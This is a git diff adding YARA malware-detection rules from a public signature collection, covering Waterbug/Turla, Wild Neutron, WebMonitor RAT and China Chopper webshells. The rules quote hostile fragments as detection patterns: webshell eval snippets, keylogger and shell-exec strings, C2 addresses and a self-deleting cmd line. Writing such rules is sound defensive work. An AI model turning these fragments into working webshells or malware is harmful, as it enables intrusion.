+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      super_rule = 1
+      hash1 = "734e5972ab5ac1e9bc5470c666a55e0d2bd57c4e2ea2da11dc9bf56fb2ea6f23"
+      hash2 = "8bde3f71575aa0d5f5a095d9d0ea10eceadba38be888e10d3ca3776f7b361fe7"
+      hash3 = "c4b3b0a7378bfc3824d4178fd7fb29475c42ab874d69abdfb4898d0bcd4f8ce1"
+      id = "425aaed4-879e-5caf-808b-14de98f628e8"
+   strings:
+      $s1 = "%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword ascii
+      $s2 = "brnew.exe" fullword ascii
+      $s3 = "ChangeServiceConfig failed (%d)" fullword ascii
+      $s4 = "Proxy %d:%s %d" fullword ascii
+      $s5 = "win9807.tmp" fullword ascii
+      $s7 = "Service stopped successfully" fullword ascii
+      $s8 = "current dns:%s" fullword ascii
+      $s9 = "%c%u|%u|%u|%u|%u|" fullword ascii
+      $s10 = "[-]send %d: " fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 4 of them )
+}
+
+rule Waterbear_14_Jun17 {
+   meta:
+      description = "Detects malware from Operation Waterbear"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/L9g9eR"
+      date = "2017-06-23"
+      hash1 = "00a1068645dbe982a9aa95e7b8202a588989cd37de2fa1b344abbc0102c27d05"
+      hash2 = "53330a80b3c4f74f3f10a8621dbef4cd2427723e8b98c5b7aed58229d0c292ba"
+      hash3 = "bdcb23a82ac4eb1bc9254d77d92b6f294d45501aaea678a3d21c8b188e31e68b"
+      id = "515d9400-3e2e-5ee5-a7dd-b313125c6482"
+   strings:
+      $s1 = "my.com/msg/util/sgthash" fullword ascii
+      $s2 = "C:\\recycled" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 8000KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_waterbug.yar b/yara-Neo23x0/apt_waterbug.yar
new file mode 100644
index 0000000..c7acaae
--- /dev/null
+++ b/yara-Neo23x0/apt_waterbug.yar
@@ -0,0 +1,129 @@
+/* WATERBUG ----------------------------------------------------------------- */
+
+rule WaterBug_wipbot_2013_core_PDF {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 core PDF"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+		id = "2e8ccce9-d8ba-573d-b532-76d8e2ed5442"
+	strings:
+		$a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/
+		$b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+	condition:
+		uint32(0) == 0x46445025 and #a > 150 and #b > 200
+}
+
+rule WaterBug_wipbot_2013_dll {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 Down.dll component"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+		id = "2aae09a3-6e59-5951-941e-c1f82aada979"
+	strings:
+		$string1 = "/%s?rank=%s"
+		$string2 = "ModuleStart\x00ModuleStop\x00start"
+		$string3 = "1156fd22-3443-4344-c4ffff"
+		//read file... error..
+		$string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
+	condition:
+		2 of them
+}
+
+rule WaterBug_wipbot_2013_core {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
+		author = "Symantec Security Response"
+		date = "2015-01-22"
+		modified = "2023-01-27"
+		reference = "http://t.co/rF35OaAXrl"
+		id = "2e8ccce9-d8ba-573d-b532-76d8e2ed5442"
+	strings:
+		$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
+		$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
+		$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04} $code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+	condition:
+		uint16(0) == 0x5A4D  and (($code1 or $code2) or ($code3 and $code4))
+}
+
+rule WaterBug_turla_dropper {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan Turla Dropper"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+		id = "f9683ac7-36f3-5a2a-8b76-e8e2527f4e0d"
+	strings:
+		$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
+		$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+	condition:
+		all of them
+}
+
+rule WaterBug_fa_malware {
+	meta:
+		description = "Symantec Waterbug Attack - FA malware variant"
+		author = "Symantec Security Response"
+		date = "2015-01-22"
+		modified = "2023-01-27"
+		reference = "http://t.co/rF35OaAXrl"
+		id = "b09f798a-2875-59ca-b880-971d8f973c76"
+	strings:
+		$string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
+		$string2 = "d:\\proj\\cn\\fa64\\"
+		$string3 = "sengoku_Win32.sys\x00"
+		$string4 = "rk_ntsystem.c"
+		$string5 = "\\uroboros\\"
+		$string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+	condition:
+		uint16(0) == 0x5A4D  and (any of ($string*))
+}
+
+/* pe module memory leak problem
+
+
+rule WaterBug_turla_dll {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan Turla DLL"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+	strings:
+		$a = /([A-Za-z0-9]{2,10}_){,2}Win32\.dll\x00/
+	condition:
+		pe.exports("ee") and $a
+}
+
+rule WaterBug_sav_dropper {
+	meta:
+		description = "Symantec Waterbug Attack - SAV Dropper"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+		id = "685849de-9892-56bf-8215-21b08d8b2d7c"
+	strings:
+		$mz = "MZ"
+		$a = /[a-z]{,10}_x64.sys\x00hMZ\x00/
+	condition:
+		($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number_of_sections == 6 and $a
+}
+
+*/
+
+rule WaterBug_sav {
+	meta:
+		description = "Symantec Waterbug Attack - SAV Malware"
+		author = "Symantec Security Response"
+		date = "2015-01-22"
+		modified = "2023-01-27"
+		reference = "http://t.co/rF35OaAXrl"
+		id = "685849de-9892-56bf-8215-21b08d8b2d7c"
+	strings:
+		$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
+		$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC	3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
+		$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 }
+		$code2 =  { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+	condition:
+		uint16(0) == 0x5A4D and (($code1a or $code1b or $code1c) and $code2)
+}
diff --git a/yara-Neo23x0/apt_webmonitor_rat.yar b/yara-Neo23x0/apt_webmonitor_rat.yar
new file mode 100644
index 0000000..f5ab49f
--- /dev/null
+++ b/yara-Neo23x0/apt_webmonitor_rat.yar
@@ -0,0 +1,34 @@
+rule MAL_WebMonitor_RAT {
+   meta:
+      description = "Detects WebMonitor RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/"
+      date = "2018-04-13"
+      hash1 = "27aaad8a7b3fd53d99077a9202e8bed05696c843ed2485bea6eb9e33a1c273ac"
+      hash2 = "05111c305028b5d822ecd12de9879560223c42860cc9d448c47886c236648607"
+      id = "5378f22e-4bba-50e7-8374-5135e980e06b"
+   strings:
+      $x1 = "send_keylog_stream_start" fullword wide
+      $x2 = "KEYLOG_STREAM_STOP" fullword wide
+
+      $s1 = "SHELL_EXEC" fullword wide
+      $s2 = "send_shell_exec" fullword wide
+      $s3 = "send_connections_get" fullword wide
+
+      $a1 = "Select * from Win32_PerfRawData_PerfProc_Process where IDProcess = '" fullword wide
+      $a2 = "Select * from Win32_Process WHERE handle =" fullword wide
+      $a3 = "Select * from Win32_Process where ProcessId=" fullword wide
+      $a4 = "Select * from Win32_ComputerSystem" fullword wide
+      $a5 = "The service is in the process of being continued" fullword wide
+      $a6 = "tcpdump" fullword wide
+      $a7 = "memdump" fullword wide
+      $a8 = "<val1>Processor</val1>" fullword wide
+      $a9 = "Win32 share process" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         1 of ($x*) or
+         ( 2 of ($s*) and 2 of ($a*) ) or
+         7 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_webshell_chinachopper.yar b/yara-Neo23x0/apt_webshell_chinachopper.yar
new file mode 100644
index 0000000..7a246a3
--- /dev/null
+++ b/yara-Neo23x0/apt_webshell_chinachopper.yar
@@ -0,0 +1,19 @@
+
+rule ChinaChopper_Generic {
+	meta:
+		description = "China Chopper Webshells - PHP and ASPX"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf"
+		date = "2015/03/10"
+		modified = "2022-10-27"
+		id = "2473cef1-88cf-5b76-a87a-2978e6780b4f"
+	strings:
+		$x_aspx = /%@\sPage\sLanguage=.Jscript.%><%eval\(Request\.Item\[.{,100}unsafe/
+		$x_php = /<?php.\@eval\(\$_POST./
+
+		$fp1 = "GET /"
+		$fp2 = "POST /"
+	condition:
+		filesize < 300KB and 1 of ($x*) and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/apt_wildneutron.yar b/yara-Neo23x0/apt_wildneutron.yar
new file mode 100644
index 0000000..25b35cf
--- /dev/null
+++ b/yara-Neo23x0/apt_wildneutron.yar
@@ -0,0 +1,300 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-10
+	Identifier: WildNeutron
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WildNeutron_Sample_1 {
+	meta:
+		description = "Wild Neutron APT Sample Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94"
+		id = "7bcb407f-7f01-540a-852c-a37456270888"
+	strings:
+		$s0 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s1 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s2 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s8 = "id-ce-keyUsage" fullword ascii /* score: '12.00' */
+		$s9 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s32 = "UPDATE_ID" fullword wide /* PEStudio Blacklist: strings */ /* score: '9.00' */
+		$s37 = "id-at-commonName" fullword ascii /* score: '8.00' */
+		$s38 = "2008R2" fullword wide /* PEStudio Blacklist: os */ /* score: '8.00' */
+		$s39 = "RSA-alt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '8.00' */
+		$s40 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule WildNeutron_Sample_2 {
+	meta:
+		description = "Wild Neutron APT Sample Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "8d80f9ef55324212759f4b6070cb8fce18a008ae9dd8b9598553206654d13a6f"
+		id = "1893c251-f81a-5361-91fa-f91a6d1379d2"
+	strings:
+		$s0 = "rundll32.exe \"%s\",#1" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s1 = "IgfxUpt.exe" fullword wide /* score: '20.00' */
+		$s2 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s3 = "Intel(R) Common User Interface" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s11 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s12 = "Intel Integrated Graphics Updater" fullword wide /* PEStudio Blacklist: strings */ /* score: '12.00' */
+		$s13 = "%sexpires on    : %04d-%02d-%02d %02d:%02d:%02d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '11.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule WildNeutron_Sample_3 {
+	meta:
+		description = "Wild Neutron APT Sample Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0"
+		id = "1c5d1442-b2be-5a34-b5c9-78aaf67072c4"
+	strings:
+		$x1 = "178.162.197.9" fullword ascii /* score: '9.00' */
+		$x2 = "\"http://fw.ddosprotected.eu:80 /opts resolv=drfx.chickenkiller.com\"" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+
+		$s1 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s2 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s3 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s5 = "id-at-serialNumber" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$s6 = "ECDSA with SHA256" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$s7 = "Acer LiveUpdater" fullword wide /* PEStudio Blacklist: strings */ /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2020KB and
+		( 1 of ($x*) or all of ($s*) )
+}
+
+rule WildNeutron_Sample_4 {
+	meta:
+		description = "Wild Neutron APT Sample Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45"
+		id = "52ff5770-1ca4-54d9-b69d-8af0c392084e"
+	strings:
+		$x1 = "WinRAT-Win32-Release.exe" fullword ascii /* score: '22.00' */
+
+		$s0 = "rundll32.exe \"%s\",#1" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s1 = "RtlUpd.EXE" fullword wide /* score: '20.00' */
+		$s2 = "RtlUpd.exe" fullword wide /* score: '20.00' */
+		$s3 = "Driver Update and remove for Windows x64 or x86_32" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "Realtek HD Audio Update and remove driver Tool" fullword wide /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s5 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s6 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s7 = "id-at-serialNumber" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1240KB and all of them
+}
+
+rule WildNeutron_Sample_5 {
+	meta:
+		description = "Wild Neutron APT Sample Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "1604e36ccef5fa221b101d7f043ad7f856b84bf1a80774aa33d91c2a9a226206"
+		id = "0df63255-155d-56b9-b86b-491855983095"
+	strings:
+		$s0 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s1 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s2 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s4 = "sha-1WithRSAEncryption" fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s5 = "Postal code" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.00' */
+		$s6 = "id-ce-keyUsage" fullword ascii /* score: '12.00' */
+		$s7 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s8 = "TLS-RSA-WITH-3DES-EDE-CBC-SHA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '11.00' */
+		$s9 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule WildNeutron_Sample_6 {
+	meta:
+		description = "Wild Neutron APT Sample Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865"
+		id = "c5d87cad-d1ca-5766-90c1-fc8ecfa3f14f"
+	strings:
+		$s0 = "mshtaex.exe" fullword wide /* score: '20.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 310KB and all of them
+}
+
+rule WildNeutron_Sample_7 {
+	meta:
+		description = "Wild Neutron APT Sample Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c"
+		id = "22561c55-4294-50c9-a9b9-7b4ed98eec09"
+	strings:
+		$s0 = "checking match for '%s' user %s host %s addr %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '24.00' */
+		$s1 = "PEM_read_bio_PrivateKey failed" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s2 = "usage: %s [-ehR] [-f log_facility] [-l log_level] [-u umask]" fullword ascii /* score: '23.00' */
+		$s3 = "%s %s for %s%.100s from %.200s port %d%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s4 = "clapi32.dll" fullword ascii /* score: '21.00' */
+		$s5 = "Connection from %s port %d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s6 = "/usr/etc/ssh_known_hosts" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s7 = "Version: %s - %s %s %s %s" fullword ascii /* score: '16.00' */
+		$s8 = "[-] connect()" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.00' */
+		$s9 = "/bin/sh /usr/etc/sshrc" fullword ascii /* score: '12.42' */
+		$s10 = "kexecdhs.c" fullword ascii /* score: '12.00' */
+		$s11 = "%s: setrlimit(RLIMIT_FSIZE, { 0, 0 }): %s" fullword ascii /* score: '11.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+/* deatcivate because its less relevant
+rule HKTL_NativeCmd_subTee_Jul15 {
+   meta:
+      description = "NativeCmd - used by various threat groups"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+      date = "2015-07-10"
+      modified = "2023-01-06"
+      old_rule_name = "subTee_nativecmd"
+      score = 40
+      hash = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+   strings:
+      $x2 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" fullword ascii 
+      $x3 = "Error executing CreateProcess()!!" fullword wide 
+      $x4 = "cmdcmdline" fullword wide
+      $x5 = "Invalid input handle!!!" fullword ascii
+      $s5 = "Usage: destination [reference]" fullword wide
+      $s6 = ".com;.exe;.bat;.cmd" wide
+      $s15 = "%-8s %-3s  %*s %s  %s" fullword wide
+      $s16 = " %%%c in (%s) do " fullword wide
+   condition:
+      uint16(0) == 0x5a4d and ( 2 of ($x*) or 6 of ($s*) )
+}
+*/
+
+rule WildNeutron_Sample_9 {
+   meta:
+      description = "Wild Neutron APT Sample Rule"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+      date = "2015-07-10"
+      modified = "2023-01-06"
+      score = 60
+      hash = "781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e"
+      id = "dbfdbe8c-4a4a-5512-a03d-e9f80c853d48"
+   strings:
+      $s0 = "http://get.adobe.com/flashplayer/" wide  /* score: '30.00' */
+      $s4 = " Player Installer/Uninstaller" fullword wide  /* score: '11.42' */
+      $s5 = "Adobe Flash Plugin Updater" fullword wide  /* score: '11.00' */
+      $s6 = "uSOFTWARE\\Adobe" fullword wide  /* score: '10.42' */
+      $s11 = "2008R2" fullword wide /* PEStudio Blacklist: os */ /* score: '8.00' */
+      $s12 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+      $s13 = "%d -> %d" fullword wide /* score: '7.00' */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1477KB and all of them
+}
+
+rule WildNeutron_Sample_10 {
+	meta:
+		description = "Wild Neutron APT Sample Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7"
+		id = "5654a36f-8502-5e18-b8f3-94d4add466a7"
+	strings:
+		$n1 = "/c for /L %%i in (1,1,2) DO ping 127.0.0.1 -n 3 & type %%windir%%\\notepad.exe > %s & del /f %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '46.00' */
+
+		$s1 = "%SYSTEMROOT%\\temp\\_dbg.tmp" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.00' */
+		$s2 = "%SYSTEMROOT%\\SysWOW64\\mspool.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s3 = "%SYSTEMROOT%\\System32\\dpcore16t.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s4 = "%SYSTEMROOT%\\System32\\wdigestEx.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s5 = "%SYSTEMROOT%\\System32\\mspool.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s6 = "%SYSTEMROOT%\\System32\\kernel32.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s7 = "%SYSTEMROOT%\\SysWOW64\\iastor32.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s8 = "%SYSTEMROOT%\\System32\\msvcse.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s9 = "%SYSTEMROOT%\\System32\\mshtaex.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s10 = "%SYSTEMROOT%\\System32\\iastor32.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s11 = "%SYSTEMROOT%\\SysWOW64\\mshtaex.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+
+		$x1 = "wdigestEx.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '26.00' */
+		$x2 = "dpcore16t.dll" fullword ascii /* score: '21.00' */
+		$x3 = "mspool.dll" fullword ascii /* score: '21.00' */
+		$x4 = "msvcse.exe" fullword ascii /* score: '20.00' */
+		$x5 = "mshtaex.exe" fullword wide /* score: '20.00' */
+		$x6 = "iastor32.exe" fullword ascii /* score: '20.00' */
+
+		$y1 = "Installer.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$y2 = "Info: Process %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.00' */
+		$y3 = "Error: GetFileTime %s 0x%x" fullword ascii /* score: '17.00' */
+		$y4 = "Install succeeded" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$y5 = "Error: RegSetValueExA 0x%x" fullword ascii /* score: '9.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and
+		(
+			$n1 or ( 1 of ($s*) and 1 of ($x*) and 3 of ($y*) )
+		)
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+
+rule APT_MAL_WildNeutron_javacpl {
+   meta:
+      description = "Wild Neutron APT Sample Rule"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+      date = "2015-07-10"
+      modified = "2023-01-06"
+      old_rule_name = "WildNeutron_javacpl"
+      score = 60
+      hash1 = "683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9"
+      hash2 = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+      hash3 = "8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a"
+      id = "de82827e-61d4-559e-886a-78d5293ab141"
+   strings:
+      $s1 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" ascii fullword
+      $s2 = "cmdcmdline" wide fullword
+      $s3 = "\"%s\" /K %s" wide fullword
+      $s4 = "Process is not running any more" wide fullword
+      $s5 = "dpnxfsatz" wide fullword
+
+      $op1 = { ff d6 50 ff 15 ?? ?? 43 00 8b f8 85 ff 74 34 83 64 24 0c 00 e8 ?? ?? 02 00 }
+      $op2 = { b8 02 00 00 00 01 45 80 01 45 88 6a 00 47 52 89 7d 8c 03 d8 }
+      $op3 = { 8b c7 f7 f6 46 89 b5 c8 fd ff ff 0f b7 c0 8b c8 0f af ce 3b cf }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 5MB and (
+         all of ($s*) or 
+         all of ($op*)
+      )
+}
diff --git a/yara-Neo23x0/apt_wilted_tulip.yar b/yara-Neo23x0/apt_wilted_tulip.yar
new file mode 100644
index 0000000..7357374
--- /dev/null
+++ b/yara-Neo23x0/apt_wilted_tulip.yar
@@ -0,0 +1,289 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-23
+   Identifier: Operation Wilted Tulip
